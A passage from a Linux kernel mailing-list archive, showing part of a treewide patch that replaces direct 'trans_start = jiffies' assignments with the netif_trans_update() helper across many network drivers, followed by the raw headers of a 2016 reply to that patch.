+	netif_trans_update(net); /* prevent tx timeout */
 	netif_wake_queue(net);
 }
 
diff --git a/drivers/net/usb/rtl8150.c b/drivers/net/usb/rtl8150.c
index d37b7dc..7c72bfa 100644
--- a/drivers/net/usb/rtl8150.c
+++ b/drivers/net/usb/rtl8150.c
@@ -451,7 +451,7 @@ static void write_bulk_callback(struct urb *urb)
 	if (status)
 		dev_info(&urb->dev->dev, "%s: Tx status %d\n",
 			 dev->netdev->name, status);
-	dev->netdev->trans_start = jiffies;
+	netif_trans_update(dev->netdev);
 	netif_wake_queue(dev->netdev);
 }
 
@@ -694,7 +694,7 @@ static netdev_tx_t rtl8150_start_xmit(struct sk_buff *skb,
 	} else {
 		netdev->stats.tx_packets++;
 		netdev->stats.tx_bytes += skb->len;
-		netdev->trans_start = jiffies;
+		netif_trans_update(netdev);
 	}
 
 	return NETDEV_TX_OK;
diff --git a/drivers/net/usb/usbnet.c b/drivers/net/usb/usbnet.c
index 1079812..f3b1f5a 100644
--- a/drivers/net/usb/usbnet.c
+++ b/drivers/net/usb/usbnet.c
@@ -1415,7 +1415,7 @@ netdev_tx_t usbnet_start_xmit (struct sk_buff *skb,
 			  "tx: submit urb err %d\n", retval);
 		break;
 	case 0:
-		net->trans_start = jiffies;
+		netif_trans_update(net);
 		__usbnet_queue_skb(&dev->txq, skb, tx_start);
 		if (dev->txq.qlen >= TX_QLEN (dev))
 			netif_stop_queue (net);
@@ -1844,7 +1844,7 @@ int usbnet_resume (struct usb_interface *intf)
 				usb_free_urb(res);
 				usb_autopm_put_interface_async(dev->intf);
 			} else {
-				dev->net->trans_start = jiffies;
+				netif_trans_update(dev->net);
 				__skb_queue_tail(&dev->txq, skb);
 			}
 		}
diff --git a/drivers/net/wan/cosa.c b/drivers/net/wan/cosa.c
index 848ea6a..b87fe0a 100644
--- a/drivers/net/wan/cosa.c
+++ b/drivers/net/wan/cosa.c
@@ -739,7 +739,7 @@ static char *cosa_net_setup_rx(struct channel_data *chan, int size)
 		chan->netdev->stats.rx_dropped++;
 		return NULL;
 	}
-	chan->netdev->trans_start = jiffies;
+	netif_trans_update(chan->netdev);
 	return skb_put(chan->rx_skb, size);
 }
 
diff --git a/drivers/net/wan/farsync.c b/drivers/net/wan/farsync.c
index 69b994f..3c9cbf9 100644
--- a/drivers/net/wan/farsync.c
+++ b/drivers/net/wan/farsync.c
@@ -831,7 +831,7 @@ fst_tx_dma_complete(struct fst_card_info *card, struct fst_port_info *port,
 		DMA_OWN | TX_STP | TX_ENP);
 	dev->stats.tx_packets++;
 	dev->stats.tx_bytes += len;
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 }
 
 /*
@@ -1389,7 +1389,7 @@ do_bottom_half_tx(struct fst_card_info *card)
 						DMA_OWN | TX_STP | TX_ENP);
 					dev->stats.tx_packets++;
 					dev->stats.tx_bytes += skb->len;
-					dev->trans_start = jiffies;
+					netif_trans_update(dev);
 				} else {
 					/* Or do it through dma */
 					memcpy(card->tx_dma_handle_host,
@@ -2258,7 +2258,7 @@ fst_tx_timeout(struct net_device *dev)
 	    card->card_no, port->index);
 	fst_issue_cmd(port, ABORTTX);
 
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	netif_wake_queue(dev);
 	port->start = 0;
 }
diff --git a/drivers/net/wan/lmc/lmc_main.c b/drivers/net/wan/lmc/lmc_main.c
index bb33b24..299140c 100644
--- a/drivers/net/wan/lmc/lmc_main.c
+++ b/drivers/net/wan/lmc/lmc_main.c
@@ -2105,7 +2105,7 @@ static void lmc_driver_timeout(struct net_device *dev)
     sc->lmc_device->stats.tx_errors++;
     sc->extra_stats.tx_ProcTimeout++; /* -baz */
 
-    dev->trans_start = jiffies; /* prevent tx timeout */
+    netif_trans_update(dev); /* prevent tx timeout */
 
 bug_out:
 
diff --git a/drivers/net/wan/sbni.c b/drivers/net/wan/sbni.c
index 8fef8d8..d98c7e5 100644
--- a/drivers/net/wan/sbni.c
+++ b/drivers/net/wan/sbni.c
@@ -860,9 +860,9 @@ prepare_to_send( struct sk_buff  *skb,  struct net_device  *dev )
 
 	outb( inb( dev->base_addr + CSR0 ) | TR_REQ,  dev->base_addr + CSR0 );
 #ifdef CONFIG_SBNI_MULTILINE
-	nl->master->trans_start = jiffies;
+	netif_trans_update(nl->master);
 #else
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 #endif
 }
 
@@ -889,10 +889,10 @@ drop_xmit_queue( struct net_device  *dev )
 	nl->state &= ~(FL_WAIT_ACK | FL_NEED_RESEND);
 #ifdef CONFIG_SBNI_MULTILINE
 	netif_start_queue( nl->master );
-	nl->master->trans_start = jiffies;
+	netif_trans_update(nl->master);
 #else
 	netif_start_queue( dev );
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 #endif
 }
 
diff --git a/drivers/net/wimax/i2400m/netdev.c b/drivers/net/wimax/i2400m/netdev.c
index a9970f1..bb74f4b 100644
--- a/drivers/net/wimax/i2400m/netdev.c
+++ b/drivers/net/wimax/i2400m/netdev.c
@@ -334,7 +334,7 @@ int i2400m_net_tx(struct i2400m *i2400m, struct net_device *net_dev,
 	d_fnstart(3, dev, "(i2400m %p net_dev %p skb %p)\n",
 		  i2400m, net_dev, skb);
 	/* FIXME: check eth hdr, only IPv4 is routed by the device as of now */
-	net_dev->trans_start = jiffies;
+	netif_trans_update(net_dev);
 	i2400m_tx_prep_header(skb);
 	d_printf(3, dev, "NETTX: skb %p sending %d bytes to radio\n",
 		 skb, skb->len);
diff --git a/drivers/net/wireless/cisco/airo.c b/drivers/net/wireless/cisco/airo.c
index 4bd9e2b..55456f7 100644
--- a/drivers/net/wireless/cisco/airo.c
+++ b/drivers/net/wireless/cisco/airo.c
@@ -2026,7 +2026,7 @@ static int mpi_send_packet (struct net_device *dev)
 	} else {
 		*payloadLen = cpu_to_le16(len - sizeof(etherHead));
 
-		dev->trans_start = jiffies;
+		netif_trans_update(dev);
 
 		/* copy data into airo dma buffer */
 		memcpy(sendbuf, buffer, len);
@@ -2107,7 +2107,7 @@ static void airo_end_xmit(struct net_device *dev) {
 
 	i = 0;
 	if ( status == SUCCESS ) {
-		dev->trans_start = jiffies;
+		netif_trans_update(dev);
 		for (; i < MAX_FIDS / 2 && (priv->fids[i] & 0xffff0000); i++);
 	} else {
 		priv->fids[fid] &= 0xffff;
@@ -2174,7 +2174,7 @@ static void airo_end_xmit11(struct net_device *dev) {
 
 	i = MAX_FIDS / 2;
 	if ( status == SUCCESS ) {
-		dev->trans_start = jiffies;
+		netif_trans_update(dev);
 		for (; i < MAX_FIDS && (priv->fids[i] & 0xffff0000); i++);
 	} else {
 		priv->fids[fid] &= 0xffff;
diff --git a/drivers/net/wireless/intel/ipw2x00/ipw2100.c b/drivers/net/wireless/intel/ipw2x00/ipw2100.c
index e1e42ed..bfa542c 100644
--- a/drivers/net/wireless/intel/ipw2x00/ipw2100.c
+++ b/drivers/net/wireless/intel/ipw2x00/ipw2100.c
@@ -2954,7 +2954,7 @@ static int __ipw2100_tx_process(struct ipw2100_priv *priv)
 
 		/* A packet was processed by the hardware, so update the
 		 * watchdog */
-		priv->net_dev->trans_start = jiffies;
+		netif_trans_update(priv->net_dev);
 
 		break;
 
diff --git a/drivers/net/wireless/intel/ipw2x00/ipw2200.c b/drivers/net/wireless/intel/ipw2x00/ipw2200.c
index dac13cf..5adb7ce 100644
--- a/drivers/net/wireless/intel/ipw2x00/ipw2200.c
+++ b/drivers/net/wireless/intel/ipw2x00/ipw2200.c
@@ -7707,7 +7707,7 @@ static void ipw_handle_data_packet(struct ipw_priv *priv,
 	struct ipw_rx_packet *pkt = (struct ipw_rx_packet *)rxb->skb->data;
 
 	/* We received data from the HW, so stop the watchdog */
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 
 	/* We only process data packets if the
 	 * interface is open */
@@ -7770,7 +7770,7 @@ static void ipw_handle_data_packet_monitor(struct ipw_priv *priv,
 	unsigned short len = le16_to_cpu(pkt->u.frame.length);
 
 	/* We received data from the HW, so stop the watchdog */
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 
 	/* We only process data packets if the
 	 * interface is open */
@@ -7952,7 +7952,7 @@ static void ipw_handle_promiscuous_rx(struct ipw_priv *priv,
 		return;
 
 	/* We received data from the HW, so stop the watchdog */
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 
 	if (unlikely((len + IPW_RX_FRAME_SIZE) > skb_tailroom(rxb->skb))) {
 		dev->stats.rx_errors++;
diff --git a/drivers/net/wireless/intersil/hostap/hostap_hw.c b/drivers/net/wireless/intersil/hostap/hostap_hw.c
index 515aa3f..a8a9bd8 100644
--- a/drivers/net/wireless/intersil/hostap/hostap_hw.c
+++ b/drivers/net/wireless/intersil/hostap/hostap_hw.c
@@ -1794,7 +1794,7 @@ static int prism2_transmit(struct net_device *dev, int idx)
 		netif_wake_queue(dev);
 		return -1;
 	}
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 
 	/* Since we did not wait for command completion, the card continues
 	 * to process on the background and we will finish handling when
diff --git a/drivers/net/wireless/intersil/orinoco/main.c b/drivers/net/wireless/intersil/orinoco/main.c
index 7b5c554..7afe200 100644
--- a/drivers/net/wireless/intersil/orinoco/main.c
+++ b/drivers/net/wireless/intersil/orinoco/main.c
@@ -1794,7 +1794,7 @@ void orinoco_reset(struct work_struct *work)
 			printk(KERN_ERR "%s: orinoco_reset: Error %d reenabling card\n",
 			       dev->name, err);
 		} else
-			dev->trans_start = jiffies;
+			netif_trans_update(dev);
 	}
 
 	orinoco_unlock_irq(priv);
diff --git a/drivers/net/wireless/intersil/orinoco/orinoco_usb.c b/drivers/net/wireless/intersil/orinoco/orinoco_usb.c
index f2cd513..56f109b 100644
--- a/drivers/net/wireless/intersil/orinoco/orinoco_usb.c
+++ b/drivers/net/wireless/intersil/orinoco/orinoco_usb.c
@@ -1275,7 +1275,7 @@ static netdev_tx_t ezusb_xmit(struct sk_buff *skb, struct net_device *dev)
 		goto busy;
 	}
 
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	stats->tx_bytes += skb->len;
 	goto ok;
 
diff --git a/drivers/net/wireless/marvell/mwifiex/init.c b/drivers/net/wireless/marvell/mwifiex/init.c
index 517653b..78c532f 100644
--- a/drivers/net/wireless/marvell/mwifiex/init.c
+++ b/drivers/net/wireless/marvell/mwifiex/init.c
@@ -317,7 +317,7 @@ void mwifiex_set_trans_start(struct net_device *dev)
 	for (i = 0; i < dev->num_tx_queues; i++)
 		netdev_get_tx_queue(dev, i)->trans_start = jiffies;
 
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 }
 
 /*
diff --git a/drivers/net/wireless/wl3501_cs.c b/drivers/net/wireless/wl3501_cs.c
index 99de07d..13fd734 100644
--- a/drivers/net/wireless/wl3501_cs.c
+++ b/drivers/net/wireless/wl3501_cs.c
@@ -1287,7 +1287,7 @@ static void wl3501_tx_timeout(struct net_device *dev)
 		printk(KERN_ERR "%s: Error %d resetting card on Tx timeout!\n",
 		       dev->name, rc);
 	else {
-		dev->trans_start = jiffies; /* prevent tx timeout */
+		netif_trans_update(dev); /* prevent tx timeout */
 		netif_wake_queue(dev);
 	}
 }
diff --git a/drivers/net/wireless/zydas/zd1201.c b/drivers/net/wireless/zydas/zd1201.c
index 6f5c793..dea049b 100644
--- a/drivers/net/wireless/zydas/zd1201.c
+++ b/drivers/net/wireless/zydas/zd1201.c
@@ -845,7 +845,7 @@ static void zd1201_tx_timeout(struct net_device *dev)
 	usb_unlink_urb(zd->tx_urb);
 	dev->stats.tx_errors++;
 	/* Restart the timeout to quiet the watchdog: */
-	dev->trans_start = jiffies; /* prevent tx timeout */
+	netif_trans_update(dev); /* prevent tx timeout */
 }
 
 static int zd1201_set_mac_address(struct net_device *dev, void *p)
diff --git a/drivers/s390/net/ctcm_main.c b/drivers/s390/net/ctcm_main.c
index c3e2252..ad17fc5 100644
--- a/drivers/s390/net/ctcm_main.c
+++ b/drivers/s390/net/ctcm_main.c
@@ -642,7 +642,7 @@ static void ctcmpc_send_sweep_req(struct channel *rch)
 
 	kfree(header);
 
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	skb_queue_tail(&ch->sweep_queue, sweep_skb);
 
 	fsm_addtimer(&ch->sweep_timer, 100, CTC_EVENT_RSWEEP_TIMER, ch);
@@ -911,7 +911,7 @@ static int ctcm_tx(struct sk_buff *skb, struct net_device *dev)
 	if (ctcm_test_and_set_busy(dev))
 		return NETDEV_TX_BUSY;
 
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	if (ctcm_transmit_skb(priv->channel[CTCM_WRITE], skb) != 0)
 		return NETDEV_TX_BUSY;
 	return NETDEV_TX_OK;
@@ -994,7 +994,7 @@ static int ctcmpc_tx(struct sk_buff *skb, struct net_device *dev)
 					goto done;
 	}
 
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	if (ctcmpc_transmit_skb(priv->channel[CTCM_WRITE], skb) != 0) {
 		CTCM_DBF_TEXT_(MPC_ERROR, CTC_DBF_ERROR,
 			"%s(%s): device error - dropped",
diff --git a/drivers/s390/net/ctcm_mpc.c b/drivers/s390/net/ctcm_mpc.c
index edf16bf..c103fc7 100644
--- a/drivers/s390/net/ctcm_mpc.c
+++ b/drivers/s390/net/ctcm_mpc.c
@@ -671,7 +671,7 @@ static void ctcmpc_send_sweep_resp(struct channel *rch)
 
 	kfree(header);
 
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	skb_queue_tail(&ch->sweep_queue, sweep_skb);
 
 	fsm_addtimer(&ch->sweep_timer, 100, CTC_EVENT_RSWEEP_TIMER, ch);
diff --git a/drivers/s390/net/netiucv.c b/drivers/s390/net/netiucv.c
index 0ba3a2f..b0e8ffd 100644
--- a/drivers/s390/net/netiucv.c
+++ b/drivers/s390/net/netiucv.c
@@ -1407,7 +1407,7 @@ static int netiucv_tx(struct sk_buff *skb, struct net_device *dev)
 		IUCV_DBF_TEXT(data, 2, "EBUSY from netiucv_tx\n");
 		return NETDEV_TX_BUSY;
 	}
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	rc = netiucv_transmit_skb(privptr->conn, skb);
 	netiucv_clear_busy(dev);
 	return rc ? NETDEV_TX_BUSY : NETDEV_TX_OK;
diff --git a/drivers/staging/rtl8192e/rtl8192e/rtl_core.c b/drivers/staging/rtl8192e/rtl8192e/rtl_core.c
index 9b7cc7d..13a5ddc 100644
--- a/drivers/staging/rtl8192e/rtl8192e/rtl_core.c
+++ b/drivers/staging/rtl8192e/rtl8192e/rtl_core.c
@@ -1792,7 +1792,7 @@ static short _rtl92e_tx(struct net_device *dev, struct sk_buff *skb)
 	__skb_queue_tail(&ring->queue, skb);
 	pdesc->OWN = 1;
 	spin_unlock_irqrestore(&priv->irq_th_lock, flags);
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 
 	rtl92e_writew(dev, TPPoll, 0x01 << tcb_desc->queue_index);
 	return 0;
diff --git a/drivers/staging/rtl8192u/ieee80211/ieee80211_softmac.c b/drivers/staging/rtl8192u/ieee80211/ieee80211_softmac.c
index de71450..d705595 100644
--- a/drivers/staging/rtl8192u/ieee80211/ieee80211_softmac.c
+++ b/drivers/staging/rtl8192u/ieee80211/ieee80211_softmac.c
@@ -249,7 +249,7 @@ inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee
 				ieee->seq_ctrl[0]++;
 
 			/* avoid watchdog triggers */
-			ieee->dev->trans_start = jiffies;
+			netif_trans_update(ieee->dev);
 			ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate);
 			//dev_kfree_skb_any(skb);//edit by thomas
 		}
@@ -302,7 +302,7 @@ inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *i
 			ieee->seq_ctrl[0]++;
 
 		/* avoid watchdog triggers */
-		ieee->dev->trans_start = jiffies;
+		netif_trans_update(ieee->dev);
 		ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate);
 
 	}else{
@@ -2205,7 +2205,7 @@ static void ieee80211_resume_tx(struct ieee80211_device *ieee)
 				ieee->dev, ieee->rate);
 				//(i+1)<ieee->tx_pending.txb->nr_frags);
 			ieee->stats.tx_packets++;
-			ieee->dev->trans_start = jiffies;
+			netif_trans_update(ieee->dev);
 		}
 	}
 
diff --git a/drivers/staging/rtl8192u/r8192U_core.c b/drivers/staging/rtl8192u/r8192U_core.c
index 849a95e..4af0140 100644
--- a/drivers/staging/rtl8192u/r8192U_core.c
+++ b/drivers/staging/rtl8192u/r8192U_core.c
@@ -1108,7 +1108,7 @@ static void rtl8192_tx_isr(struct urb *tx_urb)
 
 	if (tcb_desc->queue_index != TXCMD_QUEUE) {
 		if (tx_urb->status == 0) {
-			dev->trans_start = jiffies;
+			netif_trans_update(dev);
 			priv->stats.txoktotal++;
 			priv->ieee80211->LinkDetectInfo.NumTxOkInPeriod++;
 			priv->stats.txbytesunicast +=
@@ -1715,7 +1715,7 @@ short rtl8192_tx(struct net_device *dev, struct sk_buff *skb)
 				return -1;
 			}
 		}
-		dev->trans_start = jiffies;
+		netif_trans_update(dev);
 		atomic_inc(&priv->tx_pending[tcb_desc->queue_index]);
 		return 0;
 	}
diff --git a/drivers/staging/wlan-ng/p80211netdev.c b/drivers/staging/wlan-ng/p80211netdev.c
index 88255ce..1f9dfba 100644
--- a/drivers/staging/wlan-ng/p80211netdev.c
+++ b/drivers/staging/wlan-ng/p80211netdev.c
@@ -393,7 +393,7 @@ static int p80211knetdev_hard_start_xmit(struct sk_buff *skb,
 		goto failed;
 	}
 
-	netdev->trans_start = jiffies;
+	netif_trans_update(netdev);
 
 	netdev->stats.tx_packets++;
 	/* count only the packet payload */
diff --git a/drivers/tty/n_gsm.c b/drivers/tty/n_gsm.c
index c016207..0c27a00 100644
--- a/drivers/tty/n_gsm.c
+++ b/drivers/tty/n_gsm.c
@@ -2662,7 +2662,7 @@ static int gsm_mux_net_start_xmit(struct sk_buff *skb,
 	STATS(net).tx_bytes += skb->len;
 	gsm_dlci_data_kick(dlci);
 	/* And tell the kernel when the last transmit started. */
-	net->trans_start = jiffies;
+	netif_trans_update(net);
 	muxnet_put(mux_net);
 	return NETDEV_TX_OK;
 }
diff --git a/drivers/tty/synclink.c b/drivers/tty/synclink.c
index f5476e2..c8c7601 100644
--- a/drivers/tty/synclink.c
+++ b/drivers/tty/synclink.c
@@ -7708,7 +7708,7 @@ static netdev_tx_t hdlcdev_xmit(struct sk_buff *skb,
 	dev_kfree_skb(skb);
 
 	/* save start time for transmit timeout detection */
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 
 	/* start hardware transmitter if necessary */
 	spin_lock_irqsave(&info->irq_spinlock,flags);
@@ -7764,7 +7764,7 @@ static int hdlcdev_open(struct net_device *dev)
 	mgsl_program_hw(info);
 
 	/* enable network layer transmit */
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	netif_start_queue(dev);
 
 	/* inform generic HDLC layer of current DCD status */
diff --git a/drivers/tty/synclink_gt.c b/drivers/tty/synclink_gt.c
index c0a2f5a..d5b6471 100644
--- a/drivers/tty/synclink_gt.c
+++ b/drivers/tty/synclink_gt.c
@@ -1493,7 +1493,7 @@ static netdev_tx_t hdlcdev_xmit(struct sk_buff *skb,
 	dev->stats.tx_bytes += skb->len;
 
 	/* save start time for transmit timeout detection */
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 
 	spin_lock_irqsave(&info->lock, flags);
 	tx_load(info, skb->data, skb->len);
@@ -1552,7 +1552,7 @@ static int hdlcdev_open(struct net_device *dev)
 	program_hw(info);
 
 	/* enable network layer transmit */
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	netif_start_queue(dev);
 
 	/* inform generic HDLC layer of current DCD status */
diff --git a/drivers/tty/synclinkmp.c b/drivers/tty/synclinkmp.c
index 90da0c7..3f89685 100644
--- a/drivers/tty/synclinkmp.c
+++ b/drivers/tty/synclinkmp.c
@@ -1612,7 +1612,7 @@ static netdev_tx_t hdlcdev_xmit(struct sk_buff *skb,
 	dev_kfree_skb(skb);
 
 	/* save start time for transmit timeout detection */
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 
 	/* start hardware transmitter if necessary */
 	spin_lock_irqsave(&info->lock,flags);
@@ -1668,7 +1668,7 @@ static int hdlcdev_open(struct net_device *dev)
 	program_hw(info);
 
 	/* enable network layer transmit */
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	netif_start_queue(dev);
 
 	/* inform generic HDLC layer of current DCD status */
diff --git a/drivers/usb/gadget/function/u_ether.c b/drivers/usb/gadget/function/u_ether.c
index 637809e..a3f7e7c 100644
--- a/drivers/usb/gadget/function/u_ether.c
+++ b/drivers/usb/gadget/function/u_ether.c
@@ -597,7 +597,7 @@ static netdev_tx_t eth_start_xmit(struct sk_buff *skb,
 		DBG(dev, "tx queue err %d\n", retval);
 		break;
 	case 0:
-		net->trans_start = jiffies;
+		netif_trans_update(net);
 		atomic_inc(&dev->tx_qlen);
 	}
 
diff --git a/net/atm/lec.c b/net/atm/lec.c
index cd3b379..e574a7e 100644
--- a/net/atm/lec.c
+++ b/net/atm/lec.c
@@ -194,7 +194,7 @@ lec_send(struct atm_vcc *vcc, struct sk_buff *skb)
 static void lec_tx_timeout(struct net_device *dev)
 {
 	pr_info("%s\n", dev->name);
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	netif_wake_queue(dev);
 }
 
@@ -324,7 +324,7 @@ static netdev_tx_t lec_start_xmit(struct sk_buff *skb,
 out:
 	if (entry)
 		lec_arp_put(entry);
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	return NETDEV_TX_OK;
 }
 
diff --git a/net/batman-adv/soft-interface.c b/net/batman-adv/soft-interface.c
index 0710379..bae1397 100644
--- a/net/batman-adv/soft-interface.c
+++ b/net/batman-adv/soft-interface.c
@@ -208,7 +208,7 @@ static int batadv_interface_tx(struct sk_buff *skb,
 	if (atomic_read(&bat_priv->mesh_state) != BATADV_MESH_ACTIVE)
 		goto dropped;
 
-	soft_iface->trans_start = jiffies;
+	netif_trans_update(soft_iface);
 	vid = batadv_get_vid(skb, 0);
 	ethhdr = eth_hdr(skb);
 
diff --git a/net/bluetooth/bnep/netdev.c b/net/bluetooth/bnep/netdev.c
index 6ceb5d3..f4fcb4a 100644
--- a/net/bluetooth/bnep/netdev.c
+++ b/net/bluetooth/bnep/netdev.c
@@ -188,7 +188,7 @@ static netdev_tx_t bnep_net_xmit(struct sk_buff *skb,
 	 * So we have to queue them and wake up session thread which is sleeping
 	 * on the sk_sleep(sk).
 	 */
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 	skb_queue_tail(&sk->sk_write_queue, skb);
 	wake_up_interruptible(sk_sleep(sk));
 
diff --git a/net/irda/irlan/irlan_eth.c b/net/irda/irlan/irlan_eth.c
index fcfbe57..d8b7267 100644
--- a/net/irda/irlan/irlan_eth.c
+++ b/net/irda/irlan/irlan_eth.c
@@ -181,7 +181,7 @@ static netdev_tx_t irlan_eth_xmit(struct sk_buff *skb,
 		skb = new_skb;
 	}
 
-	dev->trans_start = jiffies;
+	netif_trans_update(dev);
 
 	len = skb->len;
 	/* Now queue the packet in the transport layer */
diff --git a/net/sched/sch_generic.c b/net/sched/sch_generic.c
index 9c77562..70182cf 100644
--- a/net/sched/sch_generic.c
+++ b/net/sched/sch_generic.c
@@ -775,7 +775,7 @@ void dev_activate(struct net_device *dev)
 		transition_one_qdisc(dev, dev_ingress_queue(dev), NULL);
 
 	if (need_watchdog) {
-		dev->trans_start = jiffies;
+		netif_trans_update(dev);
 		dev_watchdog_up(dev);
 	}
 }
-- 
2.7.3

--
To unsubscribe from this list: send the line "unsubscribe linux-wireless" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Felipe Balbi <felipe.balbi@linux.intel.com>
Newsgroups: gmane.linux.drivers.driver-project.devel,gmane.linux.network,gmane.linux.ports.arm.omap,gmane.linux.scsi,gmane.linux.uml.devel,gmane.linux.drivers.rdma,gmane.linux.kernel.wireless.general,gmane.linux.usb.general,gmane.linux.can,gmane.linux.bluez.kernel,gmane.linux.ports.parisc,gmane.org.freifunk.batman,gmane.linux.hams,gmane.linux.kernel.firewire.devel
Subject: Re: [PATCH net-next 4/5] treewide: replace dev->trans_start update
 with helper
Date: Wed, 04 May 2016 11:14:45 +0300
Lines: 98
Approved: news@gmane.org
Message-ID: <87vb2udytm.fsf@intel.com>
References: <1462285862-30946-1-git-send-email-fw@strlen.de>
 <1462285994-31983-1-git-send-email-fw@strlen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="===============0612351183774410813=="
X-Trace: ger.gmane.org 1462349834 2507 80.91.229.3 (4 May 2016 08:17:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 4 May 2016 08:17:14 +0000 (UTC)
Cc: devel@driverdev.osuosl.org, linux-xtensa@linux-xtensa.org,
 linux-omap@vger.kernel.org, linux-scsi@vger.kernel.org,
 user-mode-linux-devel@lists.sourceforge.net, linux-s390@vger.kernel.org,
 linux-rdma@vger.kernel.org, linux-wireless@vger.kernel.org,
 linux-usb@vger.kernel.org, Florian Westphal <fw@strlen.de>,
 linux-can@vger.kernel.org, linux-bluetooth@vger.kernel.org,
 linux-parisc@vger.kernel.org, b.a.t.m.a.n@lists.open-mesh.org,
 linux-hams@vger.kernel.org, linux1394-devel@lists.sourceforge.net,
 MPT-FusionLinux.pdl@broadcom.com
To: Florian Westphal <fw@strlen.de>, netdev@vger.kernel.org
Original-X-From: driverdev-devel-bounces@linuxdriverproject.org Wed May 04 10:17:03 2016
Return-path: <driverdev-devel-bounces@linuxdriverproject.org>
Envelope-to: glddd-devel@m.gmane.org
Original-Received: from smtp4.osuosl.org ([140.211.166.137] helo=fraxinus.osuosl.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <driverdev-devel-bounces@linuxdriverproject.org>)
	id 1axrzS-0005eG-Lm
	for glddd-devel@m.gmane.org; Wed, 04 May 2016 10:17:03 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by fraxinus.osuosl.org (Postfix) with ESMTP id 4C6FC896D9;
	Wed,  4 May 2016 08:17:00 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from fraxinus.osuosl.org ([127.0.0.1])
	by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 8co81E3HOAIv; Wed,  4 May 2016 08:16:58 +0000 (UTC)
Original-Received: from ash.osuosl.org (ash.osuosl.org [140.211.166.34])
	by fraxinus.osuosl.org (Postfix) with ESMTP id 932B587E52;
	Wed,  4 May 2016 08:16:58 +0000 (UTC)
X-Original-To: devel@linuxdriverproject.org
Delivered-To: driverdev-devel@osuosl.org
Original-Received: from fraxinus.osuosl.org (smtp4.osuosl.org [140.211.166.137])
 by ash.osuosl.org (Postfix) with ESMTP id 5A0771C1514
 for <devel@linuxdriverproject.org>; Wed,  4 May 2016 08:16:57 +0000 (UTC)
Original-Received: from localhost (localhost [127.0.0.1])
 by fraxinus.osuosl.org (Postfix) with ESMTP id 5618487E52
 for <devel@linuxdriverproject.org>; Wed,  4 May 2016 08:16:57 +0000 (UTC)
X-Virus-Scanned: amavisd-new at osuosl.org
Original-Received: from fraxinus.osuosl.org ([127.0.0.1])
 by localhost (.osuosl.org [127.0.0.1]) (amavisd-new, port 10024)
 with ESMTP id 3ur9xwI-QWTa for <devel@linuxdriverproject.org>;
 Wed,  4 May 2016 08:16:55 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from mga01.intel.com (mga01.intel.com [192.55.52.88])
 by fraxinus.osuosl.org (Postfix) with ESMTP id 50AFD87D38
 for <devel@driverdev.osuosl.org>; Wed,  4 May 2016 08:16:55 +0000 (UTC)
Original-Received: from fmsmga003.fm.intel.com ([10.253.24.29])
 by fmsmga101.fm.intel.com with ESMTP; 04 May 2016 01:16:56 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.24,576,1455004800"; 
 d="asc'?scan'208";a="696621404"
Original-Received: from pipin.fi.intel.com (HELO localhost) ([10.237.68.36])
 by FMSMGA003.fm.intel.com with ESMTP; 04 May 2016 01:16:50 -0700
In-Reply-To: <1462285994-31983-1-git-send-email-fw@strlen.de>
User-Agent: Notmuch/0.21+96~g9bbc54b (http://notmuchmail.org) Emacs/25.0.90.3
 (x86_64-pc-linux-gnu)
X-BeenThere: driverdev-devel@linuxdriverproject.org
X-Mailman-Version: 2.1.18-1
Precedence: list
List-Id: Linux Driver Project Developer List
 <driverdev-devel.linuxdriverproject.org>
List-Unsubscribe: <http://driverdev.linuxdriverproject.org/mailman/options/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=unsubscribe>
List-Archive: <http://driverdev.linuxdriverproject.org/pipermail/driverdev-devel/>
List-Post: <mailto:driverdev-devel@linuxdriverproject.org>
List-Help: <mailto:driverdev-devel-request@linuxdriverproject.org?subject=help>
List-Subscribe: <http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel>, 
 <mailto:driverdev-devel-request@linuxdriverproject.org?subject=subscribe>
Errors-To: driverdev-devel-bounces@linuxdriverproject.org
